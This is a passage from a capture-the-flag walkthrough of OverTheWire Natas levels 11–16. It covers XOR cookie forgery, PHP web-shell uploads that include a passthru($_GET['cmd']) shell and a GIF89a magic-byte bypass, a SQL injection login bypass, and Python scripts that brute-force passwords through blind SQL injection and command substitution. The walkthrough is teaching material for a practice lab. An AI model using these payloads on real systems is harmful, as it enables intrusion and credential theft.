<div class="highlight"><pre><span class="nv">$ </span>php xor.php
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
</pre></div>
<p>The repeated pattern is obviously a key.</p>
<p>The next step is to modify the value of that variable to have <em>showpassword</em> saying <em>yes</em>. Then this should be XORerd with the right key in <em>$key</em>.</p>
<p>For that, we created the following script:</p>
<div class="highlight"><pre><span class="o"><?</span><span class="nx">php</span>
<span class="kd">function</span> <span class="nx">xor_encrypt_mod</span><span class="p">(){</span>
<span class="nx">$text</span> <span class="o">=</span> <span class="nx">json_encode</span><span class="p">(</span><span class="nx">array</span><span class="p">(</span> <span class="s2">"showpassword"</span><span class="o">=></span><span class="s2">"yes"</span><span class="p">,</span> <span class="s2">"bgcolor"</span><span class="o">=></span><span class="s2">"#ffffff"</span><span class="p">));</span>
<span class="nx">$key</span> <span class="o">=</span> <span class="s1">'qw8J'</span><span class="p">;</span>
<span class="nx">$outText</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="nx">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">$i</span><span class="o"><</span><span class="nx">strlen</span><span class="p">(</span><span class="nx">$text</span><span class="p">);</span><span class="nx">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$outText</span> <span class="p">.</span><span class="o">=</span> <span class="nx">$text</span><span class="cp">[</span><span class="nv">$i</span><span class="cp">]</span> <span class="o">^</span> <span class="nx">$key</span><span class="cp">[</span><span class="nv">$i</span> <span class="o">%</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$key</span><span class="p">)</span><span class="cp">]</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">$outText</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">print</span> <span class="nx">base64_encode</span><span class="p">(</span><span class="nx">xor_encrypt_mod</span><span class="p">());</span>
<span class="o">?></span>
</pre></div>
<p>This results in the code we need to add to the cookie. We do this through the plugin. Refreshing the page returns our password.</p>
<h3>Level 12: File Inclusion Attack</h3>
<p>This challenge starts with a JPG file uploader:
<img alt="" src="http://i.imgur.com/xcSJ5kr.png" /></p>
<p>Inspecting the source code, we see that the first function returns a random string of length 10:</p>
<div class="highlight"><pre><span class="kd">function</span> <span class="nx">genRandomString</span><span class="p">()</span> <span class="p">{</span>
<span class="nx">$length</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
<span class="nx">$characters</span> <span class="o">=</span> <span class="s2">"0123456789abcdefghijklmnopqrstuvwxyz"</span><span class="p">;</span>
<span class="nx">$string</span> <span class="o">=</span> <span class="s2">""</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="nx">$p</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">$p</span> <span class="o"><</span> <span class="nx">$length</span><span class="p">;</span> <span class="nx">$p</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$string</span> <span class="p">.</span><span class="o">=</span> <span class="nx">$characters</span><span class="cp">[</span><span class="nx">mt_rand</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$characters</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="cp">]</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">$string</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>This string is used as the name of the uploaded file in the server:</p>
<div class="highlight"><pre><span class="kd">function</span> <span class="nx">makeRandomPath</span><span class="p">(</span><span class="nx">$dir</span><span class="p">,</span> <span class="nx">$ext</span><span class="p">)</span> <span class="p">{</span>
<span class="k">do</span> <span class="p">{</span>
<span class="nx">$path</span> <span class="o">=</span> <span class="nx">$dir</span><span class="p">.</span><span class="s2">"/"</span><span class="p">.</span><span class="nx">genRandomString</span><span class="p">().</span><span class="s2">"."</span><span class="p">.</span><span class="nx">$ext</span><span class="p">;</span>
<span class="p">}</span> <span class="k">while</span><span class="p">(</span><span class="nx">file_exists</span><span class="p">(</span><span class="nx">$path</span><span class="p">));</span>
<span class="k">return</span> <span class="nx">$path</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">makeRandomPathFromFilename</span><span class="p">(</span><span class="nx">$dir</span><span class="p">,</span> <span class="nx">$fn</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$ext</span> <span class="o">=</span> <span class="nx">pathinfo</span><span class="p">(</span><span class="nx">$fn</span><span class="p">,</span> <span class="nx">PATHINFO_EXTENSION</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">makeRandomPath</span><span class="p">(</span><span class="nx">$dir</span><span class="p">,</span> <span class="nx">$ext</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<p>However, this file's extension is given by the browser:</p>
<div class="highlight"><pre><span class="nt"><form</span> <span class="na">enctype=</span><span class="s">"multipart/form-data"</span> <span class="na">action=</span><span class="s">"index.php"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"MAX_FILE_SIZE"</span> <span class="na">value=</span><span class="s">"1000"</span> <span class="nt">/></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"filename"</span> <span class="na">value=</span><span class="s">"<? print genRandomString(); ?>.jpg"</span> <span class="nt">/></span>
Choose a JPEG to upload (max 1KB):<span class="nt"><br/></span>
<span class="nt"><input</span> <span class="na">name=</span><span class="s">"uploadedfile"</span> <span class="na">type=</span><span class="s">"file"</span> <span class="nt">/><br</span> <span class="nt">/></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Upload File"</span> <span class="nt">/></span>
<span class="nt"></form></span>
</pre></div>
<p>Finally, the last function performs the file uploading. Notice that the code does not check whether the file is actually a JPG file:</p>
<div class="highlight"><pre><span class="k">if</span><span class="p">(</span><span class="nx">array_key_exists</span><span class="p">(</span><span class="s2">"filename"</span><span class="p">,</span> <span class="nv">$_POST</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$target_path</span> <span class="o">=</span> <span class="nx">makeRandomPathFromFilename</span><span class="p">(</span><span class="s2">"upload"</span><span class="p">,</span> <span class="nv">$_POST</span><span class="err">[</span><span class="s2">"filename"</span><span class="cp">]</span>);
if(filesize($_FILES<span class="cp">[</span><span class="s1">'uploadedfile'</span><span class="cp">][</span><span class="s1">'tmp_name'</span><span class="cp">]</span>) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES<span class="cp">[</span><span class="s1">'uploadedfile'</span><span class="cp">][</span><span class="s1">'tmp_name'</span><span class="cp">]</span>, $target_path)) {
echo "The file <span class="nt"><a</span> <span class="na">href=</span><span class="s">\"$target_path\"</span><span class="nt">></span>$target_path<span class="nt"></a></span> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
</pre></div>
<h4>Stating the attack:</h4>
<p>We still can upload whatever file we want.</p>
<p>Since the file extension is changed to <em>jpg</em> in the browser side, we have control of this, we can easly tamper the POST data.</p>
<p>Fist, let's think about the exploit we want to send to the server. Since we know that the server runs PHP, we have several possibilities in this language!</p>
<p>How about the following script which uses the function <a href="http://php.net/manual/en/function.readfile.php">readfile()</a>?</p>
<div class="highlight"><pre><span class="cp"><?php</span>
<span class="nb">readfile</span><span class="p">(</span><span class="s1">'/etc/natas_webpass/natas13'</span><span class="p">);</span>
<span class="cp">?></span>
</pre></div>
<p>We could also use a <a href="http://php.net/manual/en/function.system.php">system</a> command:</p>
<div class="highlight"><pre><span class="cp"><?php</span>
<span class="nb">system</span><span class="p">(</span><span class="s2">"cat /etc/natas_webpass/natas13"</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</pre></div>
<p>Or we could even use <a href="http://php.net/manual/en/function.passthru.php">passthru</a> again:</p>
<div class="highlight"><pre><span class="x"> </span><span class="cp"><?php</span>
<span class="nb">passthru</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span>
<span class="cp">?></span><span class="x"></span>
</pre></div>
<p>Any of these exploits will work.</p>
<p>Now, let's work our way around the fact that the browser will attempt to change our script extension from <em>php</em> to <em>jpg</em>.</p>
<p>There are several ways to fix this. An easy way is to use a proxy or extension, such as <a href="http://portswigger.net/burp/">Burp Suite</a> or <a href="http://getfirebug.com/">FireBug</a> to change the filename before it is sent to the server.</p>
<p>We use <em>Burp</em> and the attack is stated in the following steps:</p>
<ol>
<li>
<p>Our exploit script in PHP is uploaded by the server and renamed with a random string and a <em>jpg</em> extension.</p>
</li>
<li>
<p>We intercept the request and change the name of the file back to the name of the script with <em>php</em> extension.</p>
</li>
<li>
<p>We send it to the server, which calls the function <em>MakeRandomPathFromFilename("upload","exploit.php")</em>. This is sent to the function MakeRandomPath('upload', '.php').</p>
</li>
<li>
<p>The server returns the link <em>/upload/randomString.php</em>, which runs our exploit and returns the password.</p>
</li>
</ol>
<h4>Firing up Burp:</h4>
<p>If this is your first time with Burp, <a href="http://portswigger.net/burp/help/suite_gettingstarted.html">this is how you run it</a>. Burp works as an HTTP proxy server, where all HTTP/S traffic from your browser passes through it. I will show in details how to do this in a *nix system.</p>
<p>First, we lauch Burp:</p>
<div class="highlight"><pre><span class="nv">$ </span>java -jar -Xmx1024m /path/to/burp.jar
</pre></div>
<p>Then we go to the proxy tab and then options and we confirm Burp's Proxy listener is active at <em>127.0.0.1:8080</em>:</p>
<p><img alt="" src="http://i.imgur.com/5xkHB29.png" /></p>
<p>We set the proxy configuration in our system to this address:</p>
<p><img alt="" src="http://i.imgur.com/Au1Gimm.png" /></p>
<p>Back in Burp, we go to <em>Proxy --> Intercept</em> and mark it ON:</p>
<p><img alt="" src="http://i.imgur.com/FAf5Hru.png" /></p>
<p>In the browser, we load the Natas12 page and accept the initial intercepts (forwarding it). We upload out exploit.</p>
<p>Before we forward this request to the server, we open it in Burp and we change the name of the random string in <em>jpg</em> to our <em>php</em> exploit:</p>
<p><img alt="" src="http://i.imgur.com/eywDMOy.png" /></p>
<p>The browser will return the link for the file:</p>
<p><img alt="" src="http://i.imgur.com/SGjbVsy.png" /></p>
<p>Clicking it will reveal the password.</p>
<h3>Level 13: File Inclusion Attack II</h3>
<p>This level looks like the previous one, except by the message:</p>
<blockquote>
<p>For security reasons, we now only accept image files!</p>
</blockquote>
<p>We take a look at the source code and the only difference from the previous level's code is an <em>if</em> clause:</p>
<div class="highlight"><pre><span class="cp"><?</span>
<span class="k">if</span><span class="p">(</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="s2">"filename"</span><span class="p">,</span> <span class="nv">$_POST</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$target_path</span> <span class="o">=</span> <span class="nx">makeRandomPathFromFilename</span><span class="p">(</span><span class="s2">"upload"</span><span class="p">,</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s2">"filename"</span><span class="p">]);</span>
<span class="k">if</span><span class="p">(</span><span class="nb">filesize</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'uploadedfile'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">])</span> <span class="o">></span> <span class="mi">1000</span><span class="p">)</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"File is too big"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nb">exif_imagetype</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'uploadedfile'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"File is not an image"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'uploadedfile'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">],</span> <span class="nv">$target_path</span><span class="p">))</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"The file <a href=</span><span class="se">\"</span><span class="si">$target_path</span><span class="se">\"</span><span class="s2">></span><span class="si">$target_path</span><span class="s2"></a> has been uploaded"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s2">"There was an error uploading the file, please try again!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="cp">?></span><span class="x"></span>
</pre></div>
<p>The clause uses the PHP function <a href="http://php.net/manual/en/function.exif-imagetype.php">exif_imagetype</a> to check whether the file is an image type.</p>
<p>The way it works is by checking the first bytes of the image and seeing whether it has an image signature. This signature is known as the <a href="http://en.wikipedia.org/wiki/List_of_file_signatures">magic number</a>. Every binary has one.</p>
<p>It should be obvious that adding the right signature to a file could tamper it to look like another file type.</p>
<h4>Crafting the attack:</h4>
<p>We search for an <a href="http://en.wikipedia.org/wiki/Graphics_Interchange_Format">image magic number</a>. For <em>jpg</em>, it's the hexadeximal <em>ff d8 ff e0</em>. For <em>gif</em>, however, it's really simple: <em>GIF89a</em>.</p>
<p>Let's use it!</p>
<p>Adding this number to our script from the previous level,</p>
<div class="highlight"><pre><span class="nx">GIF89a</span>
<span class="cp"><?php</span>
<span class="nb">readfile</span><span class="p">(</span><span class="s1">'/etc/natas_webpass/natas14'</span><span class="p">);</span>
<span class="cp">?></span>
</pre></div>
<p>and following the previous steps, leads to the password for the next level.</p>
<h3>Level 14: SQL Injection</h3>
<p>This level starts with a <em>username</em> and <em>password</em> form:</p>
<p><img alt="" src="http://i.imgur.com/qDA3nCP.png" /></p>
<p>Looking at the source code, we see THE connection to a MySQL server, and a SQL query to look for a record in the database:</p>
<div class="highlight"><pre><span class="cp"><?</span>
<span class="k">if</span><span class="p">(</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="s2">"username"</span><span class="p">,</span> <span class="nv">$_REQUEST</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$link</span> <span class="o">=</span> <span class="nb">mysql_connect</span><span class="p">(</span><span class="s1">'localhost'</span><span class="p">,</span> <span class="s1">'natas14'</span><span class="p">,</span> <span class="s1">'<censored>'</span><span class="p">);</span>
<span class="nb">mysql_select_db</span><span class="p">(</span><span class="s1">'natas14'</span><span class="p">,</span> <span class="nv">$link</span><span class="p">);</span>
<span class="nv">$query</span> <span class="o">=</span> <span class="s2">"SELECT * from users where username=</span><span class="se">\"</span><span class="s2">"</span><span class="o">.</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s2">"username"</span><span class="p">]</span><span class="o">.</span><span class="s2">"</span><span class="se">\"</span><span class="s2"> and password=</span><span class="se">\"</span><span class="s2">"</span><span class="o">.</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s2">"password"</span><span class="p">]</span><span class="o">.</span><span class="s2">"</span><span class="se">\"</span><span class="s2">"</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="s2">"debug"</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">))</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Executing query: </span><span class="si">$query</span><span class="s2"><br>"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nb">mysql_num_rows</span><span class="p">(</span><span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$query</span><span class="p">,</span> <span class="nv">$link</span><span class="p">))</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Successful login! The password for natas15 is <censored><br>"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Access denied!<br>"</span><span class="p">;</span>
<span class="p">}</span>
<span class="nb">mysql_close</span><span class="p">(</span><span class="nv">$link</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="cp">?></span><span class="x"></span>
</pre></div>
<p>If the query returns one or more row, we get a message with the password for the next level.</p>
<p>The <em>GET</em> in the <em>if</em> clause declares the parameter <em>debug</em> without checking whether this is a safe query input!</p>
<p>Therefore, while a simple GET query such as:</p>
<blockquote>
<p>http://natas14.natas.labs.overthewire.org/index.php?username=admin&password=pass</p>
</blockquote>
<p>returns:</p>
<p><img alt="" src="http://i.imgur.com/mWhSVxh.png" /></p>
<p>A crafted query using <a href="https://www.owasp.org/index.php/SQL_Injection">SQL Injection</a> (SQLi) can return whatever we want :).</p>
<h4>Crafting the attack:</h4>
<p>Without any injection, a regular query with words <em>admin</em> and <em>pass</em> would look like this:</p>
<div class="highlight"><pre><span class="n">SELECT</span> <span class="o">*</span> <span class="n">from</span> <span class="n">users</span> <span class="n">where</span> <span class="n">username</span><span class="o">=</span><span class="s">"$(Username)"</span> <span class="n">and</span> <span class="n">password</span><span class="o">=</span><span class="s">"$(Password)"</span>
</pre></div>
<p>We want to inject stuff in the middle to make this query do <em>more things</em>.</p>
<p>In SQLi, we need to take care of the <strong>"</strong> that is automatically added in the end by the server. The simplest way to do this is by including an <strong>always true clause</strong> in the end of everything. This can be represented by:</p>
<div class="highlight"><pre><span class="n">OR</span> <span class="sc">'1'</span><span class="o">=</span><span class="sc">'1'</span>
</pre></div>
<p>So, for example, the following query would not give any error:</p>
<div class="highlight"><pre><span class="n">SELECT</span> <span class="o">*</span> <span class="n">from</span> <span class="n">users</span> <span class="n">where</span> <span class="n">username</span><span class="o">=</span><span class="s">"admin"</span> <span class="n">and</span> <span class="n">password</span><span class="o">=</span><span class="s">"pass"</span> <span class="n">OR</span> <span class="s">"1"</span><span class="o">=</span><span class="s">"1"</span>
</pre></div>
<p>Now, we just need to add stuff before OR!</p>
<p>When we craft the right URL, we keep in mind that whitespace will be translated to <em>%20</em> and <strong>""</strong> will be translated to <em>%22</em>.</p>
<p>Finally, the following URL:</p>
<blockquote>
<p>http://natas14.natas.labs.overthewire.org/index.php?username=admin&password=pass%22%20OR%20%221%22=%221</p>
</blockquote>
<p>reveals the password.</p>
<hr />
<h2>Now the Juice: Scripting Attacks</h2>
<h3>Level 15: SQL Injection II</h3>
<p>This level starts with a form to check the existence of some username:</p>
<p><img alt="" src="http://i.imgur.com/SO4K5wK.png" /></p>
<p>The source code is almost equal to the previous level, with exception of this part:</p>
<div class="highlight"><pre><span class="cm">/*</span>
<span class="cm">CREATE TABLE `users` (</span>
<span class="cm"> `username` varchar(64) DEFAULT NULL,</span>
<span class="cm"> `password` varchar(64) DEFAULT NULL</span>
<span class="cm">);</span>
<span class="cm">*/</span>
</pre></div>
<p>And the fact that the <em>$query</em> does not have a password part and it is hygienized now:</p>
<div class="highlight"><pre><span class="k">if</span><span class="p">(</span><span class="nx">array_key_exists</span><span class="p">(</span><span class="s2">"username"</span><span class="p">,</span> <span class="nv">$_REQUEST</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$link</span> <span class="o">=</span> <span class="nx">mysql_connect</span><span class="p">(</span><span class="s1">'localhost'</span><span class="p">,</span> <span class="s1">'natas15'</span><span class="p">,</span> <span class="s1">'<censored>'</span><span class="p">);</span>
<span class="nx">mysql_select_db</span><span class="p">(</span><span class="s1">'natas15'</span><span class="p">,</span> <span class="nv">$link</span><span class="p">);</span>
<span class="nv">$query</span> <span class="o">=</span> <span class="s2">"SELECT * from users where username=</span><span class="se">\"</span><span class="s2">"</span><span class="nx">.</span><span class="nv">$_REQUEST</span><span class="err">[</span><span class="s2">"username"</span><span class="cp">]</span>."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<span class="nt"><br></span>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<span class="nt"><br></span>";
} else {
echo "This user doesn't exist.<span class="nt"><br></span>";
}
} else {
echo "Error in query.<span class="nt"><br></span>";
}
mysql_close($link);
} else {
?>
</pre></div>
<p>We can't just modify the query to return a record because it won't accept <strong>"</strong>.</p>
<p>However, the additional information about the table's proprieties are enough for us! We are going to brute force it!</p>
<h4>Stating the Attack:</h4>
<p>If we check the existence of the users <em>nata15</em> or <em>natas17</em>, we get:</p>
<blockquote>
<p>The user doesn't exist.</p>
</blockquote>
<p>However, if we check for <em>natas16</em> we verify that this user exists! Now we just need a password.</p>
<p>Since checking this <em>natas16</em> will always return true, we can inject another clause to the query using the keyword AND:</p>
<div class="highlight"><pre><span class="n">SELECT</span> <span class="o">*</span> <span class="n">from</span> <span class="n">users</span> <span class="n">where</span> <span class="n">username</span><span class="o">=</span><span class="s">"natas16"</span> <span class="n">AND</span> <span class="n">our_exploit</span>
</pre></div>
<p>To pick this additional clause, we look at the <a href="http://www.w3schools.com/sql/sql_wildcards.asp">SQL wildcards and keywords</a></p>
<p>We can use the SQL function <a href="http://www.1keydata.com/sql/sql-substring.html">SUBSTRING</a> and the symbol <strong>%</strong> to compare strings. For example, the following checks whether there is an <strong>a</strong> in the third position of the variable password:</p>
<div class="highlight"><pre><span class="n">AND</span> <span class="n">SUBSTRING</span><span class="p">(</span><span class="n">password</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span> <span class="o">=</span> <span class="n">BINARY</span> <span class="s">"a"</span>
</pre></div>
<p>If SUBSTRING returns false, the entire query becomes false because of the <strong>AND</strong> and we see the message:</p>
<blockquote>
<p>This user doesn’t exist.</p>
</blockquote>
<p>If it returns true, we see</p>
<blockquote>
<p>This user exists.</p>
</blockquote>
<p>Beautiful.</p>
<h4>Crafting the attack:</h4>
<p>We use Python's <a href="http://docs.python-requests.org/en/latest/user/quickstart/">request</a> library to craft our attack:</p>
<div class="highlight"><pre><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="k">def</span> <span class="nf">brute_force_password</span><span class="p">(</span><span class="n">LENGTH</span><span class="p">,</span> <span class="n">AUTH</span><span class="p">,</span> <span class="n">CHARS</span><span class="p">,</span> <span class="n">SQL_URL1</span><span class="p">,</span> <span class="n">SQL_URL2</span><span class="p">,</span> <span class="n">KEYWORD</span><span class="p">):</span>
<span class="n">password</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">LENGTH</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">CHARS</span><span class="p">)):</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span> <span class="p">(</span> <span class="n">SQL_URL1</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="n">SQL_URL2</span> <span class="o">+</span> <span class="n">CHARS</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="p">),</span> <span class="n">auth</span><span class="o">=</span><span class="n">AUTH</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="o">.</span><span class="n">url</span>
<span class="k">if</span> <span class="n">KEYWORD</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
<span class="n">password</span> <span class="o">+=</span> <span class="n">CHARS</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Password so far: "</span> <span class="o">+</span> <span class="n">password</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">return</span> <span class="n">password</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="c"># authorization: login and password</span>
<span class="n">AUTH</span> <span class="o">=</span> <span class="p">(</span><span class="s">'natas15'</span><span class="p">,</span> <span class="s">'*******************************'</span><span class="p">)</span>
<span class="c"># BASE64 password and 32 bytes</span>
<span class="n">CHARS</span> <span class="o">=</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span>
<span class="n">LENGTH</span> <span class="o">=</span> <span class="mi">32</span>
<span class="c"># crafted url option 1</span>
<span class="n">SQL_URL1</span> <span class="o">=</span> <span class="s">'http://natas15.natas.labs.overthewire.org?username=natas16" AND SUBSTRING(password,'</span>
<span class="n">SQL_URL2</span> <span class="o">=</span> <span class="s">',1) LIKE BINARY "'</span>
<span class="n">KEYWORD</span> <span class="o">=</span> <span class="s">'exists'</span>
<span class="k">print</span><span class="p">(</span><span class="n">brute_force_password</span><span class="p">(</span><span class="n">LENGTH</span><span class="p">,</span> <span class="n">AUTH</span><span class="p">,</span> <span class="n">CHARS</span><span class="p">,</span> <span class="n">SQL_URL1</span><span class="p">,</span> <span class="n">SQL_URL2</span><span class="p">,</span> <span class="n">KEYWORD</span><span class="p">))</span>
</pre></div>
<p>After around 10 minutes we have our password.</p>
<h3>Level 16: OS Command Injection III</h3>
<p>This level starts with a searching form:</p>
<p><img alt="" src="http://i.imgur.com/kMHZzZ9.png" /></p>
<p>The source code is similar to the 9th and 10th levels:</p>
<div class="highlight"><pre><span class="nt"><pre></span>
<span class="err"><</span>?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST<span class="cp">[</span><span class="s2">"needle"</span><span class="cp">]</span>;
}
if($key != "") {
if(preg_match('/<span class="cp">[</span><span class="p">;</span><span class="o">|&</span><span class="err">`</span><span class="o">\</span><span class="s1">'"]/'</span><span class="p">,</span><span class="nv">$key</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">print</span> <span class="s2">"Input contains an illegal character!"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">passthru</span><span class="p">(</span><span class="s2">"grep -i </span><span class="se">\"</span><span class="s2">$key</span><span class="se">\"</span><span class="s2"> dictionary.txt"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="o">?></span>
<span class="o"></</span><span class="nx">pre</span><span class="o">></span>
</pre></div>
<p>The difference now is that the code is being hygienized for <strong>`</strong>, <strong>"</strong>, and <strong>'</strong>. The old attack adding <strong>""</strong> won't work.</p>
<p>We need to figure out what else we can use.</p>
<p>Bash has a feature called <a href="http://www.tldp.org/LDP/abs/html/commandsub.html">command substitution</a>, where commands can be passed with:</p>
<div class="highlight"><pre><span class="err">$</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
</pre></div>
<p>For example, the date command:</p>
<div class="highlight"><pre><span class="nv">$ MY_CMD</span><span class="o">=</span><span class="s2">"$(date)"</span>
<span class="nv">$ </span><span class="nb">echo</span> <span class="nv">$MY_CMD</span>
Wed Oct 14 20:23:41 EDT 2014
</pre></div>
<h4>Stating the attack:</h4>
<p>We are going to use command substitution to craft a command in the variable <em>$key</em>, which lies inside:</p>
<div class="highlight"><pre><span class="n">grep</span> <span class="o">-</span><span class="n">i</span> <span class="err">\</span><span class="s">"$key</span><span class="se">\"</span><span class="s"> dictionary.txt</span>
</pre></div>
<p>We are going to add another grep! Let's call it <em>grep II</em>.</p>
<p>This time we will give it the flag <code>-E</code> to allow the use of regular expressions.</p>
<p>So, for example, we can use the <em>regex wildcard</em> <strong>.*</strong> to search for a char (say <em>a</em>) in the password string:</p>
<div class="highlight"><pre><span class="err">$</span><span class="p">(</span><span class="n">grep</span> <span class="o">-</span><span class="n">E</span> <span class="o">^</span><span class="n">a</span><span class="p">.</span><span class="o">*</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">natas_webpass</span><span class="o">/</span><span class="n">natas17</span><span class="p">)</span><span class="n">banana</span>
</pre></div>
<p>If <em>grep II</em> finds a match, it returns the char. In the other case, it won't return any output.</p>
<p>Once <em>grep II</em> is over, <em>grep I</em> will do the regular search for the pattern we passed (banana).</p>
<p>If <em>grep II</em> didn't return anything, banana will be banana. If <em>grep II</em> returns a match, banana will have this extra string added to it (abanana).</p>
<p>Now we can extend this logic to each char in the password string.</p>
<h4>Crafting the attack:</h4>
<p>By inspection, we see that the crafted URL to check, say, <em>a</em> in the first char, should look like this:</p>
<blockquote>
<p>http://natas16.natas.labs.overthewire.org/?needle=$(grep%20-E%20^a.*%20/etc/natas_webpass/natas17)banana&submit=Search</p>
</blockquote>
<p>This allows us to write the following script:</p>
<div class="highlight"><pre><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="k">def</span> <span class="nf">brute_force_password</span><span class="p">(</span><span class="n">LENGTH</span><span class="p">,</span> <span class="n">AUTH</span><span class="p">,</span> <span class="n">CHARS</span><span class="p">,</span> <span class="n">URL1</span><span class="p">,</span> <span class="n">URL2</span><span class="p">):</span>
<span class="n">password</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">LENGTH</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">CHARS</span><span class="p">)):</span>
